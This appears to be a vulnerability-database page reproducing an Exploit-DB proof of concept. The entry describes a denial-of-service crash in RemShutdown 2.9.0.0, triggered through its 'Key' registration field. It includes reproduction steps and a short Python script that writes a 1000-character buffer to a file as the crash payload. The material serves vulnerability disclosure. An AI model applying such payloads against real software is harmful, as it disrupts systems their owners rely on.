RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)

vendor:

RemShutdown

by:

Ismail Tasdelen

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: RemShutdown

Affected Version From: 2.9.0.0

Affected Version To: 2.9.0.0

Patch Exists: NO

Related CWE: N/A

CPE: a:nsauditor:remshutdown

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

RemShutdown 2.9.0.0 – ‘Key’ Denial of Service (PoC)

RemShutdown 2.9.0.0 is vulnerable to a denial of service attack when a maliciously crafted string is entered into the 'Key' field. An attacker can exploit this vulnerability by creating a file containing a maliciously crafted string and then entering the contents of the file into the 'Key' field. This will cause the application to crash.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/remshutdown_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install RemShutdown
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.RemShutdown Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")